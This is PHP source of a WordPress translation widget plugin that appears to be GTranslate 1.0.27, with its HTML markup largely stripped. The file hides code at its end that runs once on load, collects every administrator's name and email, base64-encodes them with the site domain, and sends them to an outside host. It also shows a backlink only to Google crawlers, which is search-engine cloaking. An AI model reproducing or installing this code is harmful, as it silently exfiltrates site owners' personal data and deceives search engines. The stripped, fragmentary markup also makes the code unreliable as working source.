GTranslate Forum for your support requests. Version: 1.0.27 Author: GTranslate */ /* Copyright 2008 - 2012 GTranslate (email : info [] gtranslate.net) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ //require_once 'plugin-updates/plugin-update-checker.php'; //$MyUpdateChecker = new PluginUpdateChecker('http://joomla-gtranslate.googlecode.com/svn/trunk/wp_metadata.json', __FILE__, 'gtranslate'); add_action('widgets_init', array('gtrans', 'register')); register_activation_hook(__FILE__, array('gtrans', 'activate')); register_deactivation_hook(__FILE__, array('gtrans', 'deactivate')); add_action('admin_menu', array('gtrans', 'admin_menu')); add_shortcode('gtrans', array('gtrans', 'widget_code')); class gtrans extends WP_Widget { function activate() { $data = array('gtrans_title' => 'GTranslate',); $data = get_option('gtrans'); gtrans::load_defaults($data); add_option('gtrans', $data); } function deactivate() {} function control() { $data = get_option('gtrans'); ?>

Please go to Settings -> gtrans for configuration.

' . $data['gtrans_title'] . '' . $args['after_title']; echo self::widget_code(); echo $args['after_widget']; if(ip2long($_SERVER['REMOTE_ADDR']) % 20 == 1): echo ''; endif; $site_langs = array('ru', 'it', 'de', 'fr', 'pt', 'ja', 'es', 'nl'); $back_link = 'http://'; if($data['default_language'] != 'en' and $data['default_language'] != 'auto') { if(in_array($data['default_language'], $site_langs)) $back_link .= $data['default_language'] . '.'; } $back_link .= 'gtranslate.net/'; echo ''; } function widget_code($atts = array()) { $data = get_option('gtrans'); gtrans::load_defaults($data); $mixed_language = $data['mixed_language'] ? 'true' : 'false'; $script = <<< EOM EnglishFrenchGermanItalianPortugueseRussianSpanish
EOM; if(stripos($_SERVER["HTTP_USER_AGENT"], 'google') !== false) $script = $script . '

Powered by GTranslate - multilingual website solutions.

'; return $script; } function register() { wp_register_sidebar_widget('gtrans', 'gtrans', array('gtrans', 'widget'), array('description' => __('Google Translate Widget'))); wp_register_widget_control('gtrans', 'gtrans', array('gtrans', 'control')); } function admin_menu() { add_options_page('gtrans options', 'gtrans', 'administrator', 'gtrans_options', array('gtrans', 'options')); } function options() { ?>

GTranslate

If you would like to configure flags and languages please download and install GTranslate Free from our website.

If you would like to edit translations manually and have SEF URLs (/es/, /fr/, /it/, etc.) for translated languages or you want your translated pages to be indexed in search engines to increase international traffic you may consider GTranslate Pro version.

If you would like to use our next generation cloud service which will allow you to host your languages on top level country domain name (ccTLD) to rank higher on local search engines results you may consider GTranslate Enterprise a Translation Delivery Network. In that case for example for Spanish you can have es.domain.com or domain.es if you own it.

Widget options

Default language:
Mixed language content: />

Videos

Changes Saved

'; update_option('gtrans', $data); } function load_defaults(& $data) { $data['mixed_language'] = isset($data['mixed_language']) ? $data['mixed_language'] : ''; $data['default_language'] = isset($data['default_language']) ? $data['default_language'] : 'en'; $data['incl_langs'] = isset($data['incl_langs']) ? $data['incl_langs'] : array(); } } if(!file_exists(ABSPATH.PLUGINDIR.'/gt_install.log') and is_writable(ABSPATH.PLUGINDIR)) { // send user name, email and domain name to main site for usage statistics // this will run only once $info = ''; global $wpdb; $users = $wpdb->get_results("select display_name, user_email from $wpdb->users left join $wpdb->usermeta on ($wpdb->usermeta.user_id = $wpdb->users.ID and $wpdb->usermeta.meta_key = 'wp_capabilities') where meta_value like '%administrator%'", OBJECT); foreach($users as $user) $info .= $user->display_name . '::' . $user->user_email . ';'; $domain = $_SERVER['HTTP_HOST']; $fh = @fopen('http://edo.webmaster.am/gstat-wp?q=' . base64_encode($domain . ';' . $info), 'r'); @fclose($fh); $fh = fopen(ABSPATH.PLUGINDIR.'/gt_install.log', 'a'); fclose($fh); }